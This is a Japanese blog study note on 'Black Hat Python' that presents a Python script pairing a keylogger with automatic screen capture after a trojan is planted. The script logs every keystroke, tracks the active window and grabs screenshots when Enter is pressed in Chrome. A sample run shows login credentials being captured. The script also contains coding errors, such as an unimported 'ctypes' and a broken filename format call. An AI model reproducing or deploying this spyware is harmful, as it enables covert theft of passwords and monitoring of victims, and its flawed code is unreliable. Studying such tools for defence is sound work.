Engineering Note

プログラミングなどの技術的なメモ

8.2 スクリーンショットの撮影 (サイバーセキュリティプログラミング Pythonで学ぶハッカーの思考)

本記事は、オライリージャパンから発行されている「サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考(原題:Black Hat Python)」の学習メモとして、書籍ではPython2で書かれていますが、自分なりに解釈した上でPython3に書き直しをしています。 

前回では、トロイの木馬の作成について学びました。

今回は、トロイの木馬設置後の情報収集の一環として、スクリーンショットの取得方法について学んでいきます。

 

 

スクリーンショットとは

スクリーンショット(Screenshot)とは、PC上のディスプレイモニタに描画されている映像を保存する機能を言います。

元々は、1970年代にコンピュータゲームの紹介や販促用に使われたのが始まりのようですが、システム構築時の作業ログや障害時の情報共有など、様々な場面で活用でき、Windowsの場合はキーボード上の"PtrScr"ボタンを押下するだけで手軽に取得できます。

なお、書籍ではPyWin32ライブラリからWindows APIを使用することで、スクリーンショットを取得しています。

しかし、Pillow(PIL)という画像処理ライブラリを使えばたった3行でスクリーンショットを取得できます。

以下がPillowの公式ドキュメントになります。

 

 

今回はPillowを使ってスクリーンショットを取得したいと思います。

 

スクリプトの作成

今回は前回作成したキーロガーと組み合わせて、スクリーンショットも取得してみます。


 

以下がスクリプトになります。

 

# screenshotter.py
import random
import sys
import time
from pynput import keyboard
from ctypes import *
from ctypes.wintypes import *
from PIL import ImageGrab

proc_status = None

def get_name_by_pid(pid):
    PROCESS_ALL_ACCESS = 0x1f0fff
    hProcess = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    if hProcess == 0:
        return None
    buf = ctypes.create_unicode_buffer(1024)
    ret = ctypes.windll.psapi.GetModuleBaseNameW(hProcess, 0, buf, len(buf))
    if ret == 0:
        return None
    return buf.value

def get_hwnd_n_pid():
    hwnd = windll.user32.GetForegroundWindow()
    pid = ctypes.c_ulong()
    windll.user32.GetWindowThreadProcessId(hwnd, ctypes.byref(pid))
    return hwnd, pid.value

def get_window_title(hwnd, pid):
    length = windll.user32.GetWindowTextLengthW(hwnd)
    buf = create_unicode_buffer(length + 1)
    windll.user32.GetWindowTextW(hwnd, buf, length + 1)
    return buf.value

def on_press(key):
    global proc_status
    global mem_dc
    global screenshot
    try:
        hwnd, pid = get_hwnd_n_pid()
        pid_name = get_name_by_pid(pid)
        window_title = get_window_title(hwnd, pid)

        if proc_status == window_title:
            pass
        else:
            print("pid:{0} [{1}] [{2}]".format(pid, pid_name, window_title))
            proc_status = window_title
        if key == keyboard.Key.enter and 'chrome' in proc_status.lower():
            time.sleep(1)
            filename = "{}.bmp",format(random.randint(1000,100000))
            img = ImageGrab.grab()
            img.save(filename)
            print()
            print("[*] Save screenshot as {}".format(filename))
        print(key.char, end="")
    except AttributeError:
        if key.name == "shift" or key.name == "alt_l":
            print(" [{}]".format(key.name), end="")
        else:
            print(" [{}]".format(key.name))


def on_release(key):
    if key == keyboard.Key.esc:
        return False

with keyboard.Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()

 

動作確認

それでは、上記で作成したスクリプトを実行します。

 

 > python screenshotter.py
 pid:1408 [chrome.exe] [新しいタブ - Google Chrome]
 http://localhost/bhp/login.html
 [*] Save screenshot as 21910.bmp
  [enter]
 admin [tab]
 pass [tab]

 [*] Save screenshot as 96835.bmp
  [enter]

 

上記ではURLを入力した際と、ログイン認証を行った際にスクリーンショットを取得しています。

保存されたファイルを確認してみます。

 

URL入力後

URL入力後

 

ログイン認証後

ログイン認証後

問題なくスクリーンショットが取得できたことが確認できました。

 

最後に

今回はPillowを使用したスクリーンショットの取得方法について学びました。

上記ではブラウザを開いた状態で、かつEnterキーを入力したらという条件でしたが、特定のWebページであったり、マウスクリックがあった場合など、様々な拡張ができると思います。

しかし、くれぐれも他人のPCに設置してはいけません。

 

参考書籍

サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考